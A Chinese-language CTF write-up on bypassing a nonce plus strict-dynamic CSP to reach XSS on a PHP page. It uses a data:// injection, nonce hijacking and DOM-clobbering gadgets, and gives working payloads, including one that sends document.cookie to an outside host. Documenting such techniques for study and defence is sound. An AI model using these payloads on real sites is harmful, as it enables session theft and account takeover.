一道绕过CSP的XSS题目
/之前CTF做的一道需要绕过CSP的XSS题目,具体的代码没记下来,这里写个类似的来复现。
题目分析
这里由于是本地写的类似程序,目标为弹框显示“1”即可。
访问目标站点,如下图所示,看到提示输入URL:
啥也不输入,点击Go,发现URL栏多了name参数和url参数:
查看源码,发现查看不到页面上显示的“Mi1k7ea”,推测应该是动态插入DOM生成的吧,右键查看元素,看到如下结构:
其中在header头和最后各包含一段JS代码,其中的script标签都含有nonce属性,推测应该是采用了CSP策略,多次访问nonce属性值都不一样,即是随机生成的。中间是URL栏中name参数的插入点,插入到id为”yourname”的a标签中显示到页面中。
这里可以看到,header头的JS代码是对DOM的动态操作,$(document).read即页面加载完执行;最后的JS代码为处理URL和创建Node,然后被前面的JS动态插入DOM节点中。
既然涉及到了CSP,抓包看看它设置的策略吧:
其CSP设置如下:
Content-Security-Policy: default-src ‘none’; script-src ‘nonce-96a80ac6288a465630f4e631bf2f192e’ ‘strict-dynamic’; base-uri ‘self’; style-src ‘self’; font-src ‘self’
关键点应该是前两个,即default-src ‘none’;和script-src ‘nonce-xx’ ‘strict-dynamic’;
因为前面header头的JS是动态添加DOM节点的,推测应该和strict-dynamic这个相关,可参考black hat 2017关于script gadgets绕过CSP。
XSS payload注入
从前面的题目分析可知,页面的输入点有两处,即GET方式的name参数和url参数。
其中name参数是输入到id为”yourname”的a标签中,尝试对其进行XSS测试,发现会直接返回输入的内容,即已经实体编码了,利用点应该不在这:
另一个参数url,可通过input栏输入提交,尝试输入标签内容,发现提示输入内容为非法URL:
那就输入一个外部URL地址如本博客,发现提示只能输入服务端本身的URL,即应该限定了只能输入访问本地的URL,并且限制了只能是协议://ip:port这种形式才能正常执行:
本地有个test.txt文件可以访问,输入该文件地址,可以查看到页面将文件内容直接输出到pre标签中,这里可以推测,后台应该是调用file_get_content()来获取目标URL内容的:
那么问题来了,限制了只能通过协议://ip:port这种形式来作为开头输入,并且限定只能是服务端的IP,那不就没法注入XSS payload了?
当时卡在这里卡了很久,后面发现,这是PHP的题目,是不是可以利用PHP伪协议?要想输入的内容能显现在页面中,能与之相关联的伪协议即data://伪协议。
测试一下,在输入框输入:
1 | data://127.0.0.1/;base64,PGltZz4= |
检查元素可以看到,img标签成功插入到页面中显示出来。
接下来直接插入script标签尝试弹框:
1 | data://127.0.0.1/;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== |
发现标签是插进去了,但是没有弹框,意料之中,我们的script标签没有nonce值,被CSP策略拦截不可执行了:
CSP绕过
关于CSP绕过,这里主要有两种方式。主要参考自CSP策略及绕过方法。
利用浏览器补全功能绕过
由前面知道,我们的script标签由于没有nonce,而CSP中设置的其中一条 script-src ‘nonce-xx’ ‘strict-dynamic’; 限定了有随机nonce值或由有nonce的标签动态生成的script才能执行。
这里关注前面的script-src ‘nonce-xx’,我们想一下,是不是可以劫持某个script标签的nonce属性呢?
在参考的文章中说到:
也就是说,利用浏览器补全的功能,在含有nonce的script标签前面的插入点插入script标签的同时,插入a=”以闭合后面script标签的第一个属性的双引号,从而使中间的内容失效,将本来的nonce属性劫持到了插入的script标签中,使得该插入标签可以正常执行JS代码,也就是说浏览器会给我们自动补全只有一个双引号的属性的值。
我们回过头来看看页面代码布局,可以看到在插入的标签后面在一段拥有nonce属性的script标签,就是它了:
构造payload:我们需要先闭合掉前面的pre和form标签,然后再插入script标签;在script标签中,先写入包含远程恶意js代码文件的src属性,再添加a=”。即
1 | 将 </pre></form><script src="http://192.168.248.1/a.js" a=" Base64加密即可 |
直接输入payload访问:
成功弹框,没有问题。
再看一下页面元素:
这里再解释一遍,把pre和form标签闭合之后,输入<script src=xxx a="
的内容,由于浏览器的补全功能,a标签的双引号会和最后的script标签的第一个元素即type的双引号闭合掉,从而使中间的内容即第一个红框内的内容无效,导致后面的内容自己成为新的属性,包括nonce属性,从而成功劫持了最后的script标签的nonce属性为插入的script属性,最终成功执行。
但是上述的a标签在Chrome上是执行不了的,原因在于Chrome对于标签的解析方式则不同,Chrome中解析script标签的优先级高于解析属性双引号内的值,因而前面双引号闭合的时候没法正常使其失效。但是这里可以使用src属性替代,使其可在Chrome下正常执行。
利用strict-dynamic结合gadget绕过
这里探讨第二种方法。
前面知道,CSP设置了strict-dynamic,结合查阅的Black Hat 2017的文章可知,我们可以在页面上找一个可以动态生成DOM节点的JS Gadget,然后通过某些方式来劫持其中的DOM节点元素,从而使动态生成的标签可以继承该Gadget的nonce直接执行JS代码。
我们再分析一遍源码:
由之前的分析知道,最后的script标签中是处理URL和创建节点,然后再被head处的JS动态插入到DOM节点中。DOM元素id即为全局变量。我们注意到最后的script标签的JS代码中定义了一个全局变量i,而i在head处的JS代码中被动态添加到id为forminput的标签中(即绿框框中的div标签),并且当i.name不为空时,将i.name的值设置到id为yourname的标签中(即绿框框中的a标签)。这里看到,div标签在a标签前面,也就是说,我们可以通过闭合使最后的JS代码失效,从而可以劫持i,再通过i来创建新标签来劫持yourname;最后看到蓝框,params[“name”]可以通过创建一个新的标签,其分别有两个属性,id属性值为params,name属性值为要执行的JS代码,接着将id为yourname的标签设置为script标签即可(因为蓝框中的代码就是将id为params的标签的name属性值放入id为yourname的标签中,进而实现将恶意Js代码放入script标签中)。由strict-dynamic知,head的JS代码动态创建的JS是受信任的,因此该动态创建的script标签可以执行恶意JS代码。
构造payload:先闭合掉pre和form标签,至于最后面的script可以通过在最后输入<script>
来使其失效;id为yourname的标签为script标签,但该标签没有name属性、需要多输入一个包含name属性且id为params的标签;因此,劫持i的标签需可以内嵌多个标签。
1 | </pre></form><div id="i"><script id="yourname"></script><a id="params" name="alert(1)" />></div><script> |
当然div标签可以换成span、form等,textarea标签可换成input、textarea、button、iframe、object等标签,效果一样。
Base64编码后添加到data://伪协议后面构造最终payload:
1 | data://127.0.0.1/plain;base64,PC9wcmU+PC9mb3JtPjxkaXYgaWQ9ImkiPjxzY3JpcHQgaWQ9InlvdXJuYW1lIj48L3NjcmlwdD48YSBpZD0icGFyYW1zIiBuYW1lPSJhbGVydCgxKSIgLz4+PC9kaXY+PHNjcmlwdD4= |
直接输入运行,弹框了:
查看元素,看到箭头处输入的script标签将后面的JS代码闭合失效了,而在红框id为forminput的div标签内,动态创建了id为i的div标签,该标签内含有一个id为yourname的script标签和id为params、name为恶意JS代码的a标签:
至此,我们成功利用strict-dynamic结合gadget来绕过CSP实现XSS弹框了。
能够弹框,就肯定能够执行其他XSS payload了,如返回cookie的payload如下:
1 | </pre></form><div id="i"><script id="yourname"></script><a id="params" name="window.open('//a.com/?'+escape(document.cookie))" />></div><script> |
模仿写的源码
以下为模仿写的代码,仅供参考练习。
1 |
|